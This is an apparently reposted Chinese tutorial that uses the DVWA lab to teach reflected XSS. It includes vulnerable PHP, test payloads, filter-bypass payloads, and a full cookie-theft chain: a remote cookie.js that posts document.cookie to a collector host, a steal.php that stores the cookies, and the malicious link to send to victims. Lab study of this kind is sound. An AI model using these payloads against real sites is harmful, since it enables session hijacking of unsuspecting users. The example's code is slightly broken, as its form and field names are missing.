华侨网,有态度的华人新闻网站!

帮助中心 广告联系

華僑時報 | 華僑網

热门关键词:  央行  发顺丰  蓝狐  詩詞  习近平
热门TAG标签:DVWAxssWEB安全大事

关注黑客与极客

来源:网络整理 作者:华侨时报 发布时间:2018-01-02
摘要:简介这篇文章通过 dvwa 简单研究了三种类型的 xss,并且讲述了如何利用 xss 获取目标网站用户的 cookie。dvwa反射型xs

这篇文章通过 dvwa 简单研究了三种类型的 xss,并且讲述了如何利用 xss 获取目标网站用户的 cookie。

dvwa反射型xss 测试环境

一台 win2003 虚拟机,ip 为 192.168.50.128,用wamp集成环境将dvwa搭在8080端口。

一台 win7 虚拟机,ip 为 192.168.50.150,用来接受漏洞网站的cookie,web由phpstudy搭建。

low级别

为了便于理解,代码如下:

<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>

可以看出没有任何过滤,直接将用户提交的GET参数name输出到页面,我们可以输入payload。

<script>alert("xss")</script>

来验证xss的存在。

1.PNG

接下来是利用xss获取用户cookie,由于script标签可以加载远程服务器的javascript代码并且执行,所以我们在win7的服务器下编写cookie.js。

document.write("<form action='http://192.168.50.150/dvwaxss/steal.php' method='post'>"); document.write("<input type='hidden' value='"+document.cookie+"'>"); document.write("</form>"); document.exploit.submit();

这段js代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的steal.php。

<?php header("content-type:text/html;charset=utf-8"); $conn=mysql_connect("localhost","root","root"); mysql_select_db("dvwacookie",$conn); if(isset($_GET['data'])) { $sql="insert into low(cookie) values('".$_GET['data']."');"; $result=mysql_query($sql,$conn); mysql_close(); } else if(isset($_POST['data'])) { $sql="insert into low(cookie) values('".$_POST['data']."');"; $result=mysql_query($sql,$conn); mysql_close(); } else { $sql="select * from low"; $result=mysql_query($sql,$conn); while($row=mysql_fetch_array($result)) { echo "偷取的cookie:".$row[1]."</br>"; } mysql_close(); } ?>

steal.php将我们获取到的cookie存到数据库中。

create database dvwacookie; use dvwacookie; create table low(id int not null auto_increment primary key,cookie varchar(100) not null); create table medium(id int not null auto_increment primary key,cookie varchar(100) not null); create table high(id int not null auto_increment primary key,cookie varchar(100) not null);

接下来我们在有xss漏洞的位置插入。

<script src=http://192.168.50.150/dvwaxss/cookie.js></script>

相当于构造链接。

:8080/DVWA-master/vulnerabilities/xss_r/?name=<script src=http://192.168.50.150/dvwaxss/cookie.js></script>

将链接发给该网站下的受害者,受害者点击时就会加载远程服务器(这里是win7)的cookie.js脚本,这里要提一点,用src加载远程服务器的js脚本,那么js的源就会变成加载它的域,从而可以读取该域的数据。

这时,win7的数据库就接收到了cookie。

通过DVWA学习XSS

medium级别

代码如下:

<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>

可看出代码将我们输入内容中的<script>标签替换为了空,但是str_replace这个函数是不区分大小写的,而且只替换一次,所以我们构造payload。

<scr<script>ipt>alert("xss")</script> <SCRIPT>alert("xss")</SCRIPT>
责任编辑:华侨时报